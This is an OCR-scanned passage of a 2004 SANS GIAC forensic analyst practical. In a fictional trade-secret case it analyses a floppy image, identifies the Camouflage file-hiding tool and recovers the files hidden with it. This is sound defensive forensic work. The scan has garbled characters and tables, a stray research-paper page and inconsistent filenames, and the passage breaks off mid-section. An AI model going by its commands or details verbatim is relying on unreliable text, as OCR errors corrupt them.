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ABSTRACT

This document addresses the requirements of the GIAC Certified Forensic
Analyst (GCFA) practical assignment version 1.5 dated. This document is
divided into two parts:

Part 1 — | analyzed an unknown binary, “CamShell.dIl”, with an image to
determine its purpose and capabilities. The forensic investigation into image
was done through the using of a mixed environment of Red Hat Fedora Core
1 and Windows 2000 Professional. This paper shows that the actual name of
the unknown binary is “Camouflage v1.2.1,” a tool that can be used to hide
files by scrambling them and then attaching them to the file of your choice.
Besides, | also noticed some confidential information were hidden in several
Word files which were located in the image. To detect these camouflaged files
quickly, a program, “Camouflaged File Checker” was written by me to extract
the password and hidden filenames of those files. Finally, | discussed the
related legal issues of this scenario based on the Criminal Law and Trade
Secrets Act in Taiwan.

Part 2 — A compromised host was analyzed. This host was a Web Service and
was run on Windows 2000 Server. The administrator of this server noticed
some strange connections form the firewall logs and wanted me to help him
find out the potential problem. This paper shows that two backdoors, one root
kit and several hacker tools were installed on the Web Server. Besides, | have
tried to discover as much information as possible to rebuild the entire story of
the compromise.
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Part 1 - Analyze an Unknown Image

1. Assignment

Robert John Leszczynski, Jr., is employed by Ballard Industries, a designer of
fuel cell batteries which produces specialized batteries used around the world
by thousands of companies. Robert is assigned as the lead process control
engineer for the project.

After several successful years of manufacturing and distributing a relatively
new fuel cell battery, which is used in many applications, Ballard industries
notices that many of their clients are no longer re-ordering from them.

After making several calls the vice president of sales determines that one of
Ballard's major competitors, Rift, Inc., has been receiving the new orders for
the same fuel cell battery which was once unique to Ballard. A full blown
investigation ensues.

The investigation has not turned up very much. It is apparent that Rift, Inc.
somehow has received proprietary information from Ballard industries. Ballard
industries keeps a customer database of all its clients and it is feared that that
information somehow got out along with other proprietary data.

The only thing out of the ordinary that has turned up is a floppy disk that was
being taken out of the R&D labs by Robert Leszczynski on 26 April 2004 at
approximately 4:45 pm MST, which is against company policy. The on staff
security quard seized the floppy disk from Robert's briefcase and told Robert
he could retrieve it from the security administrator.

The security administrator, David Keen, has asked you to analyze the floppy
disk and provide a report of your findings prior to returning it to Robert. He
provides you with a chain of custody form with the following information:

« Tag# f-260404-RJL1

« 3.5inch TDK floppy disk

« MD5: d7641eb4da871d980adbe4d371eda2ad fl-260404-RJL1.img
« fl-260404-RJL1.img.qgz

The floppy disk contains a number of files, which appear to be policy files.
Your primary task is to analyze this floppy disk and provide a report to Mr.
Keen. Determine what is on the floppy disk and establish how it might have
been used by Mr. LeszczynskKi.

2. Analysis Platform Description

1. The platform used to analyze the unknown image is an ACER 7600g
desktop running the Windows 2000 SP4 operating system with the
latest Windows UPDATE.

© SANS Institute 2004, As part of GIAC practical repository. Authdr retains full rights.



2. The analysis system is a virtual Linux machine and a virtual Windows
2000 machine within a VMWARE Workstation v.4.5.1. VMWARE
Workstation can be used to create multiple developments and testing
environments on a single system. It also can restore testing systems
quickly.

3. The virtual Linux machine and virtual Windows 2000 machine used for
this analysis are running the Red Hat Fedora Core 1 and Windows
2000 Professional with the latest security update.

4. The timezone of these systems is set to be MST.

3. Examination Details

Describe in detail how you obtained the image and what you did with it after
you received it? What steps did you take to analyze the image? What tools
did you use? You should detail out in chronological order the steps you took
for your analysis. Some of the questions you need to answer are: Explain
what Mr. Leszczynski. Tired to accomplish and if he was successful. What did
he try to do? What if any information was released? What advice can you
provide to the Systems Administrators to help them detect whether there
systems have been tampered by Mr. Leszczynski?

As the assignment described above, the disk image was given by the security
administrator, David Keen. After | received the image, | use “md5sum”, to
check the MD5 of the image. The “md5sum” is a cryptographic checksum
program, which can confirm if the image has been modified by anybody or in
any way. The “md5sum” command runs like this:

# mdSsum f|-260404-RJL1.img.gz

A screenshot is shown in Figure 1-1.

ff1-Z260404-RJIL1. img.gs
fEans/ fl-2a60404-RJIL1. itg. o=

Figure 1-1 Screenshot of “md5sum” command
Analysis steps
The steps used for analyzing the image are as following:

1. Copy the image into the analysis system and use the “md5sum” to check
the integrity of the image file.

2. Check the type of the image file by using “file”.

3. Gather file system information of the image file by using “fsstat”.
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4. Gather MACtime information by using “mactime”.

5. Gather filename information from the image file by using “fls”
6. Inspect files that can be found in the image file.

7. Inspect the usage of sectors of the deleted files by using “istat”.
8. Recover the deleted files by using “icat”.

9. Use “strings” and “Bintext” to extract strings from the suspicious binary
and find out interesting strings.

10. Take advantage of keywords, found by “strings” and “Bintext”, to search
for useful information from the Internet.

11. Download the “Camouflage v1.2.1” from the Internet.

12. Identify “Camouflage v1.2.1” is the program that Mr. Leszczynski was
used.

13. Observe the properties of camouflaged files.

14. Propose some possible strategies to break the password of
camouflaged files.

15. Write a program, Camouflaged File Checker”, to detect and extract
information from camouflaged files.

After analyzing this image, | found that some files were camouflaged in
three Word files. By using the “Camouflaged File Checker”, we can get
access to the passwords of these camouflaged Word files. And all hidden
files, therefore, can be extracted, as shown in Table 1-1.

Camouflaged File Name Hidden File Name

Internal_Lab_Security_Policy.doc | Internal_Lab_Security Policy.doc (32256
Bytes)

Opportunity.txt (312 Bytes)
Password_Policy.doc Password_Policy.doc (39936 Bytes)
PEM-fuel-cell-large.jpg (28167 Bytes)
Hydrocarbon%20fuel%20cell%20page2.|
pg (208127 Bytes)

Pem_fuelcell.gif (30264 Bytes)
Remote_Access_Policy.doc Remote_Access_Policy.doc (30720
Bytes)

CAT.mdb (184320 Bytes)

Table 1-1 All hidden files which are extracted from three Word files

| believe that these five hidden files, “Opportunity.txt”, “PEM-fuel-cell-
large.jpg”, “Hydrocarbon%20fuel%20cell%20page2.jpg”, “Pem_fuelcell.gif”

© SANS Institute 2004, As part of GIAC practical repository. Authdr retains full rights.



and “CAT.mdb”, can be evidence to prove that Mr. Leszczynski wanted to
take out some proprietary information from Ballard industries, and
according to the contents of the “Opportunity.txt®, as shown in Table 1-2, we
also know that Mr. Leszczynski wanted to sell some proprietary information
for 5 million. Moreover, in other hidden files, we can find there are a page
from a paper about the hydrocarbon fuel cell as shown in Figure 1-2, two
design charts about PEM fuel cell, may be the last schematics of Ballard
industries, as shown in Figure 1-3 and Figure 1-4, and a customer database
which contains confidential information of clients as show in Table 1-3.
Although, there isn’t any clue to point who the buyers are, but if Ballard’s
competitors get this information, it would bring about a great loss to Ballard
industries.

| am willing to provide you with more information for a price. | have included
a sample of our Client Authorized Table database. | have also provided you
with our latest schematics not yet available. They are available as we
discussed - "First Name".

My price is 5 million.

Robert J. Leszczynski
Table 1-2 The contents of “Opportunity.txt”

As Mr. Leszczynski mentioned in the “Opportunity.txt”, the information
saved in the hidden files is just a sample of the proprietary information of
Ballard industries. Maybe there is more information to be found in Mr.
Leszczynski’'s computers. Thus, | am writing a program, “Camouflaged File
Checker” to detect camouflaged files and then extract password and hidden
filenames of the camouflaged files, as shown in Figure 1-34, and | would
recommend Systems Administrators use this program to test out any
suspicious files.
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Although it is possible that the power gencrated from n-butane
fuels resulted from oxidation of Ha—formed by gas-phase reactions
of n-butane that produce hydrocarbons with a lower C:H ratio—
other evidence shows that this is not the case. Firsl, experiments
were conducted in which the cell was charged with n-butane and
then operated in a batch mode without flow. After 30 minutes of
barch operation with the cell short=circuited, GC analvsis showed
that all of the n-butane in the cell had been converted completely to
CO; and water. { Negligible amounts of CO. were formed in a
similar experiment with an open circuit.) Second, analvsis of the
CO; formed under steady-state flow conditions, shown in Fig. 2,
demanstrates that the rare of CO. formation increased linearly with
the current density, ([t was not possible for us to quantify the
ammount of water formed in our system.) Figure 2 includes data for
both n-butane a1 973 K, and methane 31 973 Kand 1,073 K. The lines
in the figure were calculated assuming complete oxidation of
miethane (the dashed line) and n-butane {the solid line) to CO.
and water according o reactions (1) and {2):

CH, +40°" — €O, + IH,0 + 8¢~ i1

CHy + 1307 — 400, + 5HO 4+ 26¢” i)

With methane, only trace levels of CO were observed along with
COn, 50 that the agreement between the data points and the
calculation demonstrates consistency in the measurements and no
leaks in the cell. With n-butane, simultaneous, gas-phase, free-
radical reactions to give hydrocarbons with various CH ratios make
quantification more difficull; however, the data still suggest that
c-umpl!tt oxidation is the primary reaction. Furthermore, the batch
cmmmll show that the secondary products formed by gas-phase
reactions are ultimately oxidized as well Taken together, these
results demonstrate the direct, electrocatalytic oxidation of a
higher hydrocarbon in a SOFC.

Along with our observation of stable power generation with n-
butane for 48 hours, Fig. 3 further demonstrates the stability of the
composite anodes against coke formation. Aromatic molecules,
such as toluene, are expected 1o be precursers to the formation of
graphitic coke deposits. In Fig. 3, the power density was measured at
%73 K and 0.4 V while the fuel was switched from dry n-butane, 1o
0,033 bar of toluene in He for 30 minutes, and back to dry n-butane.
The data show that the performance decreased rapidly in the
presence of toluene, Upon switching back to dry n-butane, however,
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the current density returned 1o 0.12 W cm™ after one hous. Recause
the return was oot instantancous, it appears that carbon formation
occurred during exposure 1o toluene, but that the anode is self-
cleaning. We note that the electrochemical oxidation of soot has
been reported by others”.

The data in Fig. 4 show that further improvements in cell
performance can be achieved. For these experiments, samaria.
doped ceria was substituted for ceria in the anode, and the current
densities were measured at a potential of 0.4 Vat 973 K. The power
densities for H; and n-butane in this particular cell were approsa-
mately 20%0 lower than for the first cell. which is within the range of
our ability to reproduce cells. However, the power densitics
achieved for some other fuels were significantly higher. In particu-
lar, sazble power generation was now observed for toluene. Simi-
larly, Fig. 4 shows that methane, ethane and 1-butene could be wsed
as fuels to produce elecirical energy. The data show transients for
some of the fuels, which are at least partially due to switching.

The role of samaria in enhancing the results for toluene and some
of the other hvdrocarbons is uncertain, While samaria is used 1o
enhance mixed (ionic and electronic) conductivity in ceria and
could increase the sctive, three-phase boundary in the anode,
samaria is also an active catalysi”. Odher improvements in the
performance of SOFCs are possible. For example, the composite
anodes could be easily attached to the cathode-supported, thin-fitm
ebectrolytes that have been used by others 1o achieve very high power
densities”. In addition to raising the power density, thinner electro-
Iytes may also allow lower operating temperatures.

Additional research is clearly necessary for commercial develop-
ment of fuel cells which generate electrical power directly from
hydrocarbons; however, the work described here suggess that
SOFCs have an intriguing future as portable, electric generators
and possibly even as energy sources for transportation. The sim-
plicity afforded by not having to reform the hydrocarbon fuels is a
significant advantage of these cells. O
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Table 1-3 A dump of the “CAT.mdb”
Tools

All tools that are used in the analysis process are shown in the following table:

md5sum The “md5sum” can be used to compute and check MD5
message digest. | used the “md5sum” in section 3 and section
4.6.

Download: http://ftp.gnu.org/pub/gnu/coreutils/

file The “file” can be used to test each argument in an attempt to
classify it. There are three sets of tests performing in this order:
file system test, magic number test, and language tests. The
first test that succeeds prints the file type. | used “file” to
determine the file type of the image in section 6.

Download: ftp://ftp.astron.com/pub/file/

The Sleuth | The main toolkit used in this analysis for gathering image details
Kit in “The Sleuth Kit.” “The Sleuth Kit” is a collection of Unix-based
command line file system and media management forensic

L TH LTS LT}

analysis tools. The following tools, “fls”, “ils”, “mactime”, “fsstat”,
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“istat” and “icat”, are members of “The Sleuth Kit.”

Download: http://www.sleuthkit.org/sleuthkit/download.php

fls The “fls” is a part of “The Sleuth Kit.” It can be used to list
allocated and deleted filenames in an image. | used “fls” for
filename layer analysis in section 4.3.

ils The “ils” is a part of “The Sleuth Kit.” It can be used to list the
meta data structure and their contents in a pipe delimited
format. | used “ils” for meta data layer analysis in section 4.3.
mactime The “mactime” is a part of “The Sleuth Kit.” It can be used to
take input from the fls and ils tools to create a timeline of file
activity. | used “mactime” to do timeline analysis in section 4.3.
fsstat The “fsstat” is a part of “The Sleuth Kit.” It can be used to show
the file system details and statistics including layout, sizes, and
labels. | used “fsstat” to gather information about the image in
section 6.

istat The “istat” is a part of “The Sleuth Kit.” It can be used to display
the statistics and details about a given meta data structure in an
easy- to-read format. | used “istat” to understand the usage of
sectors of deleted files in section 6.

icat The “icat” is a part of “The Sleuth Kit.” It can be used to extract
data units of a file, which is specified by its meta data address. |
used “icat” to recover deleted files in section 6.

strings The “strings” can be used to print the strings of printable
characters, which are at least 4 characters long and are
followed by an unprintable character in files. It is mainly useful
for determining the contents of non-text files. For each file
given, | used this tool for keyword analysis in section 4.7.

Download: http://ftp.gnu.org/gnu/binutils/

Bintext “Bintext” is a small, very fast and powerful text extractor that will
be of particular interest to programmers. It can extract text from
any kind of file and include the ability to find plain ASCII,
Unicode and Resource strings, showing useful information for
each item in the optional advanced view mode. | used this tool
for keyword analysis in section 4.7.

Download:
http://www.foundstone.com/resources/termsofuse.htm?file=bint
ext.zip

UltraEdit 32 | “UltraEdit 32" is a text, HEX and programming editor. It includes
a spell checker with foreign language support, syntax
highlighting, CTags support and find-and-replace function. It
supports compilers and linkers, hexadecimal and binary editing,
key mapping and macros. This tool can be used to help me
analyze binaries in sections 5 and 6.

Download: http://www.ultraedit.com/
Delphi 7.0 | “Delphi” is a Windows development environment. Based upon
Object Pascal, Delphi is a development tool to combine a
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powerful Object Oriented language with a Rapid Application
Development (RAD) Environment. | write the “Camouflaged File
Checker” in Delphi, whose source code can be found in
Appendix 1-C.

Reference: http://www.borland.com/
Table 1-4 All tools used to analyze the unknown image

4. Image Details

4.1 Listing of all the files in the image

The “fls” command can be used to list all the files and directory names

including the deleted names in a forensic image. This command runs like this:
# fls -If fat /sans/fl-260404-RJL1.img.gz

A screenshot is shown in Figure 1-5:

i mat@loodhodt e

Figure 1-5 Screenshot of “fls” command
We can find there are eight files in this image file, as shown in Table 1-5. Two
of them are deleted files, CamShell.dll and _ndex.htm, and others are .doc
files, the file extension for Microsoft Word documents.

Deleted files CamShell.dll
_ndex.htm
Word documents Information_Sensitivity Policy.doc

Internal_Lab_Security_Policy1.doc
Internal_Lab_Security_Policy.doc
Password_Policy.doc

Remote_Access_Policy.doc

Acceptable Encryption Policy.doc
Table 1-5 All the files names in the image
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4.2 True name of the program/file used by Mr. Leszczynski
The true name of the program used by Mr. Leszczynski is “Camouflage
v1.2.1”. And, the deleted file “CamShell.dIlI”, as shown in Table 1-5, is just part
of the program mentioned above.
4.3 File/MACTime information from image
The steps of timeline analysis involve:

1. Create an intermediate data file (by using the “fls” and the “ils”)

2. Create a timeline (by using the “mactime”)

The exact commands correspond to the above steps run as follows:

#fls —f fat —m / -r /sans/fl-260404-RJL1.img.gz > /sans/ fl-260404-
RJL1.img.fls

#ils —f fat —m /sans/fl-260404-RJL1.img.gz > /sans/ fl-260404-RJL1.img.ils
#cat *./sans/?Is > /sans/ fl-260404-RJL1.img.all

#mactime —b /sans/ fl-260404-RJL1.img.all > /sans/ fl-260404-
RJL1.img.mac

A full list of MACtime information is listed in Appendix 1-A, and we will discuss
some interesting parts of the MACtime information in the following paragraph:

Mon Apr 26 2004 00:00:00 727 .a. -rwxrwxrwx O 0 28 <v1_5.gz-_ndex.htm-dead-28>

727 .a. -/-rwxrwxrwx 0 0 28 /_ndex.htm (deleted)

307935 .a. -/-rwxrwxrwx 0 0 20 /Password_Policy.doc (PASSWO~1.DOC)

215895 .a. -/-rwxrwxrwx 0 0 23 /Remote_Access_Policy.doc (REMOTE~1.DOC)

36864 .a. -rwxrwxrwx 0 0 5 <v1_5.9z- AMSHELL.DLL-dead-5>

22528 .a. -/-rwxrwxrwx 0 0 27 /Acceptable_Encryption_Policy.doc (ACCEPT~1.DOC)

42496 .a. -/-rwxrwxrwx 0 0 9 /Information_Sensitivity Policy.doc (INFORM~1.DOC)

36864 .a. -/-rwxrwxrwx 0 0 5 /CamShell.dll ( AMSHELL.DLL) (deleted)

32256 .a. -/-rwxrwxrwx 0 0 13 /Internal_Lab_Security_Policy1.doc (INTERN~1.DOC)

33423 .a. -/-rwxrwxrwx 0 0 17 /Internal_Lab_Security_Policy.doc (INTERN~2.DOC)

While files are copied from hard disks to floppy disks, their access time will
be set to 00:00 that day. Therefore, according to the above information, we
know Mr. Leszczynski copied these files to his floppy disk on Apr 26 2004
MST.
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Table 1-6 MACtime information

Mon Apr 26 2004 09:46:18 36864 ..c -rwxrwxrwx 0 0 5 <v1_5.9z- AMSHELL.DLL-dead-5>

36864 ..c -/-rwxrwxrwx 0 0 5 /CamShell.dll (_ AMSHELL.DLL) (deleted)

Mon Apr 26 2004 09:46:20 42496 ..c -/-rwxrwxrwx 0 0 9 /Information_Sensitivity _Policy.doc (INFORM~1.DOC)

Mon Apr 26 2004 09:46:22 32256 ..c -/-rwxrwxrwx 0 0 13 /Internal_Lab_Security_Policy1.doc (INTERN~1.DOC)

Mon Apr 26 2004 09:46:24 33423 ..c -/-rwxrwxrwx 0 0 17 /Internal_Lab_Security_Policy.doc (INTERN~2.DOC)

Mon Apr 26 2004 09:46:26 307935 ..c -/-rwxrwxrwx O 0 20 /Password_Policy.doc (PASSWO~1.DOC)

Mon Apr 26 2004 09:46:36 215895 ..c -/-rwxrwxrwx O 0 23 /Remote_Access_Policy.doc (REMOTE~1.DOC)

Mon Apr 26 2004 09:46:44 22528 ..c -/-rwxrwxrwx 0 0 27 /Acceptable_Encryption_Policy.doc (ACCEPT~1.DOC)

Mon Apr 26 2004 09:47:36 727 ..c -rwxrwxrwx O 0 28 <v1_5.gz-_ndex.htm-dead-28>

727 ..c -/[-rwxrwxrwx 0 0 28 /_ndex.htm (deleted)

By observing the sequence of the cluster number and change times of files, |
infer that the sequence that files were copied to floppy disks is as follows:

1. CamShell.dIl (36864 Bytes)

2. Information_Sensitivity Policy.doc (42496 Bytes)

w

. Internal_Lab_Security_Policy1.doc (32256 Bytes)

SN

. Internal_Lab_Security_Policy.doc (33423 Bytes)

5. Password_Policy.doc (307935 Bytes)

6. Remote_Access_Policy.doc (215895 Bytes)

\I

. Acceptable_Encryption_Policy.doc (22528 Bytes)

8. _ndex.htm (727 Bytes)

For Microsoft FAT file system, it won’t change the MACtime information
when a file is deleted. Thus, we can not get information, through the FAT
analysis, about when “CamShell.dII” was deleted. However, by inspecting
the usage of sectors in “CamShell.dII” and “_ndex.htm”, which will be
discussed in section 6, | noticed that parts of the deleted “CamShell.dII” has
been written over by “_ndex.htm”. Thus, | believe that before “_ndex.htm”
was copied to the floppy disk, “Camshell.dIl” had been deleted. Besides, by
checking the size of files, | also noticed that the size of
“‘Aceptable_Encryption_Policy.doc” was smaller than “CamShell.dll.” If
“‘CamShell.dllI” had been deleted before “Acceptable_Encryption_Policy.doc”
was copied to floppy, “Acceptable Encryption Policy.doc” should have
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written over parts of sectors that “CamShell.dIlI” was used. Therefore, we
know that “CamShell.dll” may be deleted between Apr 26, 2004 09:46:44
and Apr 26, 2004 09:47:36.

Table 1-7 MACtime information

CAT.mdb

Opportunity.txt

Internal_Lab_Security_Policy.doc

Password_Policy.doc

PEM-fuel-cell-large.jpg

pem_fuelcell.gif

Remote_Access_Policy.doc

Create Time Access Time Write Time
04/22/2004 15:57 04/23/2004 15:00 04/23/2004 11:21
04/23/2004 14:59 04/23/2004 10:21

04/22/2004 16:30

Hydrocarbon%20fuel%20cell%20page2.jpg 04/23/2004 10:21

04/23/2004 11:19

04/23/2004 09:22

04/23/2004 10:23

04/23/2004 10:19  04/23/2004 14:59

04/23/2004 09:22

04/23/2004 14:58

04/23/2004

04/23/2004

04/23/2004

04/23/2004

04/22/2004 16:31

14:59 04/23/2004 14:03
14:58 04/23/2004 11:55
14:59 04/23/2004 10:23

04/23/2004 10:15

15:00 04/23/2004 11:54

Furthermore, we can observe files that extract from camouflaged files, which
will be discussed in section 6. The above table provides a list of the
MACtime of these extracted files. | am interested in the access time
especially, because the possible duration that Mr. Leszczynski ran

“Camouflage v1.2.1” for each camouflaged file was from this access time to
the time this file was copied to this floppy disk.

Table 1-8 MACtime information

To summarize what | have discussed about timeline analysis in the above
paragraph, | draw a timeline chart as follows. The red line stands for the
duration that the file existed on disk, the block dotted line stands for the
possible duration that the file was deleted and the blue line stands for the
possible duration that the last time “Camouflage V1.2.1” was used.

CamsShell.dll

Information_
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_Security_P
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_Security_P
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. The duration that file existed on the floppy disk

EE The possible duration that file was deleted

i The possible duration that the last time “Camouflage V1.21” was used

Figure 1-6 Timeline Chart
4.4 File owner(s)

Whether we can gather the ownership information from the image depends on
what type of the file system we used. For example, the NTFS file system
maintains the information about ownership, but the FAT file system does not.
Since, this image was formatted as the FAT file system, we, therefore, have
no way to get information about the original file owner through the analysis of
this image.

4.5 File size

The size of the recovered file, “CamShell.dll”, is 36864 Bytes.

4.6 MD5 hash of the file

The MD5 of the recovered “CamShell.dll” is
6462fb3acca0301e52fc4ffadeabeff8. Something | must mention is that part of
this recovered “CamShell.dII” has been written over by “_ndex.htm.”

Consequently, the MD5 of the recovered “CamShell.dII” will not be the same
as that of the original “CamShell.dlI”.

Figure 1-7 Screenshot of “md5sum” command
4.7 Keywords found that are associated with the program/file

1. Strings
The “strings” command can be used to display the printable strings which are
equal to or longer than 4 bytes in files. At first, | ran the command “strings” to
extract string information from the recovered “CamShell.dII” under the Linux
analysis environment and the results of the “strings” are listed in Appendix 1-
B. The detail process of how to recover the deleted “CamShell.dll” will be
discussed in section 6.
The “strings” command runs as follows:

#strings —t x CamShell.dll > CamShell.dll.strings
Because parts of sectors, which were used by the deleted “CamShell.dll”,
have been covered by the deleted “_ndex.htm,” we should ignore some HTML
tags at the beginning of the output. The main interesting strings from “strings”
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are as the foIIowinﬁ:

Windows DLL files kernel32
ole32.dll
shell32.dll
advapi32.dli
user32
Windows API IstrcpyA
IstrlenA
CLSIDFromProgID
StringFromGUID2
ReleaseStgMedium
VirtualProtect
GetTextMetricsA
CreateCompatibleDC
DeleteDC
CreateBitmaplIndirect
SelectObject
StretchBIt
DeleteObject
SetMenultemBitmaps
RegCloseKey
VB related keywords VBS!
VBAG6.DLL
C:\WINDOWS\SYSTEM\MSVBVM60.DLL\3
VBRUN
C:\My Documents\VB
Programs\Camouflage\Shell\lctxMenu.tlb
MSVBVM60.DLL
COM related keywords DliCanUnloadNow
DlIGetClassObject
DlIRegisterServer
DllUnregisterServer
Other keywords CamouflageShell
Table 1-9 Interesting strings
By observing the results of “strings” command, | found some keywords were
the same as the name of Windows DLL files, Windows APIs and some
function names that a DLL should be implemented to support Component
Object Model (COM). | think the deleted “CamShell.dll”, therefore, should be a
Windows program. Besides, | also noticed some keywords such as, “VB5!”,
“VBA6.DLL”, “C:\WINDOWS\SYSTEM\MSVBVM60.DLL\3”, “VBRUN”,
“C:\My Documents\VB Programs\Camouflage\Shell\lctxMenu.tlb” and
‘MSVBVMG60.DLL”. Based on this information, | believe this program is
written in Virtual Basic language.

2. Bintext

The program “Bintext” is a text extractor, running under Windows
environment, which can be used to find plain ASCII text, Unicode text and
resource strings in files. After executing the “strings” command, | moved the
recovered “Camshell.dll” to the Windows analysis environment. By using
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“Bintext” program, | found some interesting strings that were not listed in
previous results. The output of the “Bintext” is listed in Appendix 1-C and
some additional interesting strings are listed as follows:

ExplorerNameCamouflage

Camouflage

Uncamouflage

Camouflage.exe /C

Camouflage.exe /U
http://www.camouflage.freeserve.co.uk
CompanyName

Twisted Pear Productions
FileDescription

Keeps files containing sensitive information safe from prying eyes.
Copyright (c) 2000-2001 by Twisted Pear Productions, All rights
reserved worldwide.

ProductName

Camouflage

FileVersion

1.01.0001

ProductVersion

1.01.0001

InternalName

CamShell

OriginalFilename

CamShell.dll

Table 1-10 Interesting strings

These new findings provide some useful information about the “CamShell.dll,

such as:

1. The “CamShell.dII” is used to keep files containing sensitive information
safe from prying eyes

2. The version number of the “CamShell.dll” is 1.01.0001.

3. The product name of this program is called “Camouflage”, which is
provided by “Twisted Pear Productions” company.

4. A suspicious URL, http://www.camouflage.freeserve.co.uk, might be related
to this unknown program

5. Program Identification

Locate the program source code on the Internet. Compile and examine the
program and compare the results to demonstrate that the program you
download is the exact program that was used. Your comparison must to
include a comparison of MD5 hashes and how you arrived at them. Include a
full description of your research process and the methods used to come to
your conclusions.

According to the result of section 4.7, | try to connect to
http://www.camouflage.freeserve.co.uk, but | cannot find any web page
through this URL. Also, | cannot get its IP address by using “nslookup
www.camouflage.freeserve.co.uk”. It seems that they are no longer on line.
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Figure 1-8 Screenshot of “nslookup” command
| try to use “Twisted Pear Productions” and “Camouflage”, what | found in
section 4.7, as keywords to search in the Google. The snapshot is as the

following:
" Wab  |mags e " imote =
i ] - afmryied 54
LI{_}I J({It [Freestad Baar i arniPags gl | B Bag
-
Web Results 1+ 10 of aboul 5T for "Twisted Prar Productions™ "Campullage™ TL27 seconds)
Camouflage ] "
Campullage &y Twisted Poar Prodectioms 55 & te This Camaullagn dowsload
i wra, ... Camaouflage is o product of Twisied Pear Productions ..

- 7~ Name Camoullage Camnouflage o
that Twistied Pear Prodedions S2esamogmaphy 50

o i tagaihar i i gnghis | i TR BT T
are pwnod oecluzwely by Twisied Pear Productions ay .

Figure 1-9 Screenshot of Google search
| found there is an interesting website — “Camouflage Home Page — Hide your
files!” and the following figure is a screenshot of this website:

Camonflage

Figure 1-10 Screenshot of “Camouflage Home Page”
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At this website, | also found an introduction about the “Camouflage v1.2.1”:
Camouflage allows you to hide files by scrambling them and then attaching
them to the file of your choice. This camouflaged file then looks and behaves
like a normal file, and can be stored, used or emailed without attracting
attention.

For example, you could create a picture file that looks and behaves exactly
like any other picture file but contains hidden encrypted files, or you could
hide a file inside a Word document that would not attract attention if
discovered. Such files can later be safely extracted.

For additional security you can password your camouflaged file. This
password will be required when extracting the files within.
You can even camouflage files within camouflaged files.

Camouflage was written for use with Windows 95, Windows 98, Windows
ME, Windows NT and Windows 2000, and is simple to install and use.
Table 1-11 An introduction about “Camouflage v1.2.1”

And, the “Camouflage v1.2.1” executable can be downloaded from
http://camouflage.unfiction.com/Camou121.exe.

| tried to do some further search in Google to find out the source code of the
“Camouflage v1.2.17, but | had no new findings.

Next, | set up this software on the Windows analysis system and | notice that
“CamShell.dllI” was part of the “Camouflage v1.2.1”. This initial information
seems to reveal that the program Mr. Leszczgaki used is the “Camouflage
v1.2.1.” To further prove that, | did more verification. With the results of these
activities, | can provide two more major evidences as the following:

Evidence 1: The MD5 of the manual changed “CamShell.dll” is the

same as that of the recovered “CamsShell.dIl.”
Because the first 727 Bytes of recovered “CamShell.dII” have been
written over by “_ndex.htm,” the MD5 of the recovered “CamShell.dll,”
therefore, must not be the same as the original one, which | downloaded
from the Internet. |, thus, tried to simulate this situation by manually copy
the first 727 Bytes of the “_ndex.htm” to write over the first 727 Bytes of
the original “CamShell.dll.” The MD5 of the recovered “CamShell.dll,”
therefore, should be the same as the manual changed “CamShell.dll.”
The tool that | used to do manual copy was “UltraEdit 32” and the steps
were as follows:

A. Copy the contents of the “_ndex.htm”, whose size is 727 Bytes.
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Figure 1-11 Hex information of “_ndex.htm”

B. Open the original “CamShell.dII”, which | downloaded from the Internet
and select the first 727 Bytes.
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Figure 1-12 Hex information of “CamShell.dI”

P OH, 10, CT Dog

C. Paste the 727 Bytes that copied from “_ndex.htm” to “CamShell.dIlI”
and then save the filename as “CamShell.dll_manual.”
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_ndexhtm

Copy & Past

CamShell dll_manual

Original
CamShelldll

Figure 1-13 Manual copy of “CamShell.dllI”

D. Check the MD5 of the “CamShell.dll_manual” by using the “md5sum.”
| found that, as shown in Figure 1-14, is the same as the MD5 of the

recovered “CamShell.dIlI”, shown in Figure 1-1.

Shell.dll manusal
15 Cam3hell . dll manual

Figure 1-14 Screenshot of MD5 of the manual changed “CamShell.dIl”

Evidence 2: Taking advantage of observing the structure of
camouflaged files, which were created by the “Camouflage v1.2.1,” |
found their file footers are similar to those of three suspicious Word
files, which Mr. Leszczynski wanted to take out of the R&D lab.
Furthermore, | can use the same method, which is used to extract
hidden files from camouflaged files, to extract hidden files from those
Word files. The detail of the analysis will be discussed in section 6.

6. Forensic Details

What is the name of the program used by Mr. Leszczynski? What type of
program is it? What is it used for? When was the last time it was used?
Include a complete description of how you came to your conclusions, using
the forensic analysis methods that were discussed in class. You should also
include a step-by-step analysis of the actions the program takes and how it
works in this section. k

The name of the program used by Mr. Leszczynski is called “Camouflage
v1.2.1.” As we discussed in section 5, “Camouflage v1.2.1” is a tool that can
be used to hide files by scrambling them and then attaching them to the file of
your choice. And, as shown in Figure 1-6, the possible duration that the last
time the “Camouflage v1.2.1” was used is from Apr 23, 2004 14:59:00 to Apr
26 2004 09:46:36. In the following paragraph, we will focus on the step-by-
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step analysis of the image file and discuss how | came out with these
conclusions.

The first step of the analysis was to copy the image into the Linux analysis
system and verify the integrity of the image. Next, | used “file” command to
realize the type of the image file. The “file” command ran like this:

# file /sans/fl-260404-RJL1.img.gz

A screenshot is shown in Figure 1-15:

# mot@loealhastfeans

Figure 1-15 Screenshot of “file” command
The above output reveals that this image file is formatted as the FAT 12 file
system. To gather further information about the file system, the “fsstat”
command can be used. The “fsstat” command ran like this:

# fsstat -f fat /sans/v1_5.9z

A screenshot is shown in Figure 1-16:
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Figure 1-16 Screenshot of “fsstat” command

Next, | used “fls” command to list all files in the image file, as shown in Figure
1-5, and | found there were two suspicious deleted files, “_ndex.htm” and
"CamShell.dIlI”. For FAT file systems, each file or the subdirectory contained in
the root directory has a 32 bytes entry that is used to describe some attributes
of the file or subdirectory. A description of the directory entry structure is

shown in Table 1-12:

Offset | Description

00-07h | Filename

08-0Ah | File Extension

0Bh File Attribute
0C-15h | Reserved

16-17h | Time of last change
18-19h | Date of last change
1A-1Bh | First cluster of file
1C-1Fh | File size

Table 1-12 The 32 Bytes Directory Entry

When a file is deleted in an original FAT file system, the first character of the
filename will be set to “E5h”. Thus, we will lose the information of the first
character. That is the reason why the “fls” can only recover the filename as
“_ndex.htm.” However, the filename of “CamShell.dll” can be recovered fully
because the VFAT (virtual allocation table) has been used by Windows 95
and the following OS systems and this file system allows for long filenames,
accepting virtually any character. The VFAT is also backwards compatible
with DOS. The long filename is placed in other 32 bytes directory entries in
front of the short filename entry. A description of the long filename directory
entry is show in Table 1-13:

Offset Description
00h Bits 0-4: Sequence
number
Bit 5:0
Bit 6: 1 = Final
Component
Bit7:0
01h-0Ah | First 5 Characters
0Bh File Attribute
0Ch Type indicator
0Dh Checksum
OE-19h | Next 6 characters
